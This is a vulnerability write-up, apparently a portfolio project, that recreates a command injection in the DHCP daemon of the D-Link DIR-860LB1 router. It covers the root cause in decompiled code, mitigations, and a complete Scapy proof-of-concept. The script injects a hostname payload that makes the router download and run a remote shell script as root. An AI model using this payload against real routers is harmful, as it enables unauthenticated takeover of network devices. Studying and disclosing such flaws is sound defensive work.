CVE-2025-14659: D-Link DHCP Daemon Command Injection Analysis

Recreate CVE Project | Offensive Security

Author: Peter Lin
Date: May 2026
Project Pitch: CVE-2025-14659 reported a command injection vulnerability targeting the DHCP daemon component present in the D-Link DIR-860LB1 wireless router running firmware v203b03. This command injection might allow an attacker to execute arbitrary commands with root privileges on this target router when a DHCP client renews an existing lease with a malicious hostname. I will extract the firmware of the DIR-860LB1 device and identify the flaw present in the DHCP daemon (udhcpd) through static analysis using Ghidra. I will then utilize an emulation engine like FirmAE to emulate this router's environment, demonstrating a proof of concept attack against this target.

🔍 Vulnerability Overview

• CVE ID: CVE-2025-14659
• CVSS Score: 8.7 (High)
• Vulnerability Type: CWE-77 (Command Injection)
• Target Binary: udhcpd (DHCP Daemon)
• Impact: Unauthenticated root access over the local network.

🔬 Root Cause (Ghidra Static Analysis)

Looking at the udhcpd_main function in Ghidra, the vulnerability sits right inside the case 3 (DHCPREQUEST) block:

1. Extraction: The daemon pulls DHCP Option 12 (Hostname) from the client packet using get_option(auStack_254, 0xc).
2. Concatenation: If a hostname exists, it gets dropped directly into a string buffer via sprintf():
   root@kitploit:~

   sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
   

3. Execution: The application then passes that raw buffer directly into a system() call without sanitizing shell characters:
   root@kitploit:~

   system(acStack_454);
   

Because the daemon runs as root, adding shell metacharacters (like ; or |) into the hostname allows an attacker to execute arbitrary system commands.

🛠️ Proof of Concept Script (cve_poc.py)

This functional Scapy script simulates a malicious client requesting a lease renewal with an injected hostname payload:

from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ Real-World Threat Impact

If exploited in the wild, an attacker can use this vulnerability for:

• Botnet Deployment: Installing malicious binaries directly into the router's volatile memory (/tmp) to enlist the hardware into DDoS networks.
• DNS Hijacking: Overwriting internal DNS settings to silently route local users toward malicious phishing sites.
• Lateral Movement: Using the compromised edge router as an internal pivot point to scan and target other machines inside the local network.
• Persistent Control: Installing backdoors or manipulating configuration files to maintain unauthorized administrative access across the local environment.

🛑 Defensive Mitigations

• Hardware Lifecycle Warning: D-Link has classified the DIR-860LB1 appliance as End-of-Life (EoL) status. Official vendor patches are not expected to address this issue.
• Compensating Security Controls:
  • Configure isolated VLAN boundaries equipped with strict client isolation features to limit unauthenticated visibility of DHCP endpoints.
  • Systematically decommission EoL legacy routing appliances and upgrade to actively supported hardware configurations.

📚 References

• NIST National Vulnerability Database
• CVEDetails Vulnerability Profile

Disclaimer: This project is created strictly for educational purposes, portfolio building, and defensive security research.